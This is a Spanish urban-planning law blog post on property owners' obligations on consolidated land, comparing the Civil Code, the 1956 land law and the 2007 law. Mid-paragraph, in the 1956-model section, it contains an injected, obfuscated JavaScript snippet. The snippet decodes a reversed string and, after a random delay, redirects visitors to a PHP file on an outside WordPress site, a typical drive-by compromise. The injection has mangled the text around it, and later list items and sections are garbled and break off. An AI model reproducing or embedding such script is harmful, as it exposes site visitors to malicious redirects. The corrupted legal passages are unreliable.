Participación potestativa (3) y el suelo consolidado

Hoy analizamos la obligación de hacer que impone el planeamiento a los propietarios del suelo en que no se prevean actuaciones de urbanización o reordenación, lo que coloquialmente llamamos, suelo consolidado.

Olaveaga

Hemos titulado esta serie con la expresión “participación potestativa” porque evoca el cambio fundamental operado por el nuevo modelo urbanístico legal instaurado por la LS07.

Como vimos en el primer post de la serie, en el suelo en situación básica de rural en que se prevea una actuación de urbanización, la legislación básica reconoce a los propietarios el derecho a decidir, a diferencia de lo que ocurría hasta entonces, que el propietario estaba obligado a ejecutar el plan decidido por el Ayuntamiento. Por razones sistemáticas, en el segundo post analizamos el cambio operado en 2013 respecto a las novedosas actuaciones sobre el Medio Urbano (aMU), para las que se abolió el derecho a decidir, de modo que los propietarios sí están obligados a ejecutar las medidas de regeneración establecidas por el Ayuntamiento.

Hoy analizamos lo que ocurre con el suelo en que el plan no prevea transformaciones sustanciales de la urbanización. El título de la serie (“participación potestativa”) no se ajusta bien al suelo consolidado porque en este suelo no hay intervenciones conjuntas y, por tanto, la expresión “participación” resulta impropia; sin embargo, en este tipo de suelo la aprobación del plan comporta obligaciones de hacer para los propietarios, por lo que carecen del derecho a decidir si ejecutan el planeamiento o no, razón por la que nos permitimos esta licencia lingüística y lo incluimos en esta serie. Veamos.

La regulación del Código Civil

La codificación de finales del siglo XIX configuró la propiedad privada como un derecho tendencialmente absoluto, sujeto únicamente a las limitaciones previstas en las leyes (Cc 348 350). En esta concepción se inspiran técnicas urbanísticas muy arraigadas como el señalamiento de alineaciones, rasantes, alturas máximas… (el propietario puede edificar pero con el límite de no rebasar tal alineación, tal altura de cornisa…).

El modelo de 1956

El modelo urbanístico inaugurado por la LS56 (y sus reediciones: LS9oLS98), introdujo un cambio importante en la configuración de la propiedad privada que fue detectado por la doctrina tempranamente: en el suelo sujeto a intervenciones de implantación de la urbanización y de reordenación de la urbanización, el propietario del suelo tenía la obligación de ejecutar la urbanización ($NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley sobre Régimen del Suelo y Ordenación Urbana (RD 1346/1976, de 9 de abril)” href=”https://www.boe.es/buscar/act.php?id=BOE-A-1976-11506&tn=1&p=19760616#aochentaycuatro” target=”_blank”>84.3). Esto  permitió considerar que la propiedad privada había pasado a un régimen estatutario, lo que quiere decir que la propiedad había dejado de ser tendencialmente absoluta con las únicas limitaciones que prevean las leyes (derecho de propiedad limitado), para que la propiedad comporte los derechos y obligaciones que en cada momento establecen las leyes y las ordenanzas (derecho de propiedad delimitado).

Sin embargo, la trascendencia de esta innovación no debe ocultar que en este modelo urbanístico pervivía un tipo de propiedad de estilo limitado: el suelo en que no se previeran actuaciones de urbanización. Destacamos algunas determinaciones fundamentales en su aplicación a este tipo de suelo:

  1. El toria limitativa de la eficacia del planeamiento: la nueva ordenación se aplicará con ocasión de la sustitución de la edificación.
  2. La conversión de la parcela en solar mediante la ejecución de las obras de urbanización adicionales previstas en el planeamiento solo es exigible en caso de que se quiera edificar (El régimen de fuera de ordenación (El modelo de 2007

    La LS07 declara expresamente el carácter estatutario de la propiedad (LS07 7.1 8.1). La normativa anterior coexistía con el Código Civil y establecía un régimen de derechos y obligaciones (estatutario) incompatible con el mismo excepto, precisamente, en suelo consolidado. En cambio, la LS07 declaró el régimen estatutario de la propiedad con carácter general, ¿qué efectos tiene esto sobre el suelo consolidado?, ¿sigue vigente el régimen de inaplicación del plan hasta que se sustituya la edificación?, ¿la ampliación de la calle prevista en el plan es exigible o tiene que esperar a que los propietarios decidan sustituir la edificación?

    Estas son las determinaciones positivas de las distintas versiones de la LS07:

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    Vemos que: